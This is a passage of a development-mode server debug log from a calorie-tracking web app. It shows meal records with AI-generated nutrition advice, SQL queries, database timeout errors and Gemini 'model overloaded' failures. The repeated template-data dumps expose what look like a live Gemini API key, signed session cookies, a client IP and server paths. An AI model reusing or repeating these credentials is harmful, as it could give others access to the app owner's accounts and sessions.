    replacements: 'Sugar-free ketchup,Homemade fresh tomato salsa or chutney (with minimal added sugar and oil),Herbal chutneys (e.g., mint, coriander) without added sugar',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 3,
    skip_reason: 'Ketchup is typically high in added sugars and provides minimal to no nutritional value (empty calories). Consuming empty calories from added sugars is counterproductive to muscle development goals and overall health, especially when aiming for a lean physique.'
  },
  {
    id: 405,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (240ml)',
    replacements: '',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is rich in antioxidants, boosts metabolism, and is virtually calorie-free, making it an excellent choice for health and fitness goals.'
  },
  {
    id: 406,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Milk Sugar Coffee',
    calories: 132,
    protein_gm: 4,
    carbs_gm: 24,
    fat_gm: 2,
    quantity: '1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar)',
    replacements: 'Black coffee (no milk, no sugar),Coffee with skim milk (or plant-based milk like unsweetened almond milk) and no added sugar or an artificial sweetener (e.g., stevia),Coffee with reduced sugar (e.g., 1 teaspoon instead of 1.5 spoons)',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 2,
    skip_reason: 'The significant amount of added sugar (18g) contributes empty calories, which are not optimal for muscle development and can hinder fat loss. While toned milk provides some protein, the overall calorie profile is not as nutrient-dense as other options. For muscle development, calories are best sourced from lean protein and complex carbohydrates.'
  }
]
2025-12-16T08:41:46.828Z server-connect:app Executing action step setvalue
2025-12-16T08:41:46.828Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T08:41:46.828Z server-connect:output var_total: 482
2025-12-16T08:41:46.828Z server-connect:app Executing action step setvalue
2025-12-16T08:41:46.828Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T08:41:46.828Z server-connect:output var_consumed: 20
2025-12-16T08:41:46.828Z server-connect:app Executing action step setvalue
2025-12-16T08:41:46.828Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T08:41:46.828Z server-connect:output var_deficit: 1918
2025-12-16T08:41:46.828Z server-connect:app Executing action step custom
2025-12-16T08:41:46.828Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T08:41:46.829Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '482',
    surplus_or_deficit: '1918',
    status_flag: 2
  }
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-16 08:41:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-16 08:41:50' as DATETIME)"
}
2025-12-16T08:41:55.319Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-16T08:41:55.320Z server-connect:app Executing action step identify
2025-12-16T08:41:55.320Z server-connect:app options: { provider: 'security' }
2025-12-16T08:41:55.320Z server-connect:output identity: 1
2025-12-16T08:41:55.320Z server-connect:app Executing action step restrict
2025-12-16T08:41:55.320Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T08:41:55.320Z server-connect:output restrict: undefined
2025-12-16T08:41:55.320Z server-connect:app Executing action step processWithGemini
2025-12-16T08:41:55.320Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
Error processing calories data: got status: UNAVAILABLE. {"error":{"code":503,"message":"The model is overloaded. Please try again later.","status":"UNAVAILABLE"}}
2025-12-16T08:42:12.111Z server-connect:output Error at calculate_calorie: Error: Failed to process calories data: got status: UNAVAILABLE. {"error":{"code":503,"message":"The model is overloaded. Please try again later.","status":"UNAVAILABLE"}}
    at exports.processWithGemini (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:143:11)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-16T08:42:12.112Z server-connect:server Got error? Error: Failed to process calories data: got status: UNAVAILABLE. {"error":{"code":503,"message":"The model is overloaded. Please try again later.","status":"UNAVAILABLE"}}
    at exports.processWithGemini (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:143:11)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-16T08:42:30.960Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-16T08:42:30.961Z server-connect:app Executing action step identify
2025-12-16T08:42:30.961Z server-connect:app options: { provider: 'security' }
2025-12-16T08:42:30.961Z server-connect:output identity: 1
2025-12-16T08:42:30.961Z server-connect:app Executing action step restrict
2025-12-16T08:42:30.961Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T08:42:30.961Z server-connect:output restrict: undefined
2025-12-16T08:42:30.961Z server-connect:app Executing action step processWithGemini
2025-12-16T08:42:30.961Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-16T08:42:32.574Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T08:42:32.574Z server-connect:app Executing action step identify
2025-12-16T08:42:32.574Z server-connect:app options: { provider: 'security' }
2025-12-16T08:42:32.574Z server-connect:output identity: 1
2025-12-16T08:42:32.574Z server-connect:app Executing action step restrict
2025-12-16T08:42:32.574Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T08:42:32.575Z server-connect:output restrict: undefined
2025-12-16T08:42:32.575Z server-connect:router Render template layouts/main
2025-12-16T08:42:32.575Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    accept: '*/*',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'empty',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"12fba-+Rnfsafj+2RsJkHtk+091/JAxXc"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: '*/*',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"12fba-+Rnfsafj+2RsJkHtk+091/JAxXc"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
Error processing calories data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 503,\n    \"message\": \"The model is overloaded. Please try again later.\",\n    \"status\": \"UNAVAILABLE\"\n  }\n}\n","code":503,"status":"Service Unavailable"}}
2025-12-16T08:42:35.008Z server-connect:output Error at calculate_calorie: Error: Failed to process calories data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 503,\n    \"message\": \"The model is overloaded. Please try again later.\",\n    \"status\": \"UNAVAILABLE\"\n  }\n}\n","code":503,"status":"Service Unavailable"}}
    at exports.processWithGemini (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:143:11)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-16T08:42:35.009Z server-connect:server Got error? Error: Failed to process calories data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 503,\n    \"message\": \"The model is overloaded. Please try again later.\",\n    \"status\": \"UNAVAILABLE\"\n  }\n}\n","code":503,"status":"Service Unavailable"}}
    at exports.processWithGemini (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:143:11)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-16T08:42:40.371Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-16T08:42:40.371Z server-connect:app Executing action step identify
2025-12-16T08:42:40.371Z server-connect:app options: { provider: 'security' }
2025-12-16T08:42:40.371Z server-connect:output identity: 1
2025-12-16T08:42:40.371Z server-connect:app Executing action step restrict
2025-12-16T08:42:40.371Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T08:42:40.372Z server-connect:output restrict: undefined
2025-12-16T08:42:40.373Z server-connect:app Executing action step processWithGemini
2025-12-16T08:42:40.373Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-16T08:42:59.347Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Roti (Whole Wheat)',
      quantity: '3 medium (approx 40g each, total 120g)',
      total_calories: 375,
      protein: 12,
      carbs: 75,
      fat: 3,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Good source of complex carbohydrates, providing sustained energy for workouts and muscle recovery. Whole wheat also offers fiber and essential nutrients, which are beneficial for overall health and digestion.'
    },
    {
      food_name: 'Aloo Gobi Sabzi',
      quantity: '1 medium bowl (approx 150g, assuming moderate oil)',
      total_calories: 214,
      protein: 3,
      carbs: 18,
      fat: 15.3,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: "Potatoes provide good carbohydrates for energy, and cauliflower is a nutrient-dense vegetable rich in vitamins and fiber. However, this sabzi is often prepared with a significant amount of oil/ghee, which adds a lot of calories and fat. For muscle development, it's beneficial to control fat intake from cooking oils while prioritizing lean protein and complex carbs. A leaner preparation would be more ideal."
    }
  ],
  total_macros: {
    total_calories: 589,
    total_protein: 15,
    total_carbs: 93,
    total_fat: 18.3,
    unit: 'g'
  }
}
2025-12-16T08:43:04.249Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-16T08:43:04.249Z server-connect:app Executing action step identify
2025-12-16T08:43:04.249Z server-connect:app options: { provider: 'security' }
2025-12-16T08:43:04.250Z server-connect:output identity: 1
2025-12-16T08:43:04.250Z server-connect:app Executing action step restrict
2025-12-16T08:43:04.250Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T08:43:04.250Z server-connect:output restrict: undefined
2025-12-16T08:43:04.250Z server-connect:app Executing action step condition
2025-12-16T08:43:04.250Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-16T08:43:04.250Z server-connect:app Executing action step repeat
2025-12-16T08:43:04.250Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-16T08:43:04.250Z server-connect:app Executing action step insert
2025-12-16T08:43:04.250Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-16T08:43:04.252Z server-connect:output calories: { affected: 1, identity: 407 }
2025-12-16T08:43:04.252Z server-connect:app Executing action step insert
2025-12-16T08:43:04.252Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-16T08:43:04.252Z server-connect:output calories: { affected: 1, identity: 408 }
2025-12-16T08:43:04.252Z server-connect:output repeat: [ {}, {} ]
2025-12-16T08:43:04.253Z server-connect:output condition: undefined
2025-12-16T08:43:04.497Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T08:43:04.497Z server-connect:app Executing action step identify
2025-12-16T08:43:04.497Z server-connect:app options: { provider: 'security' }
2025-12-16T08:43:04.497Z server-connect:output identity: 1
2025-12-16T08:43:04.497Z server-connect:app Executing action step restrict
2025-12-16T08:43:04.497Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T08:43:04.497Z server-connect:output restrict: undefined
2025-12-16T08:43:04.497Z server-connect:router Render template layouts/main
2025-12-16T08:43:04.498Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"12fba-+Rnfsafj+2RsJkHtk+091/JAxXc"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"12fba-+Rnfsafj+2RsJkHtk+091/JAxXc"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
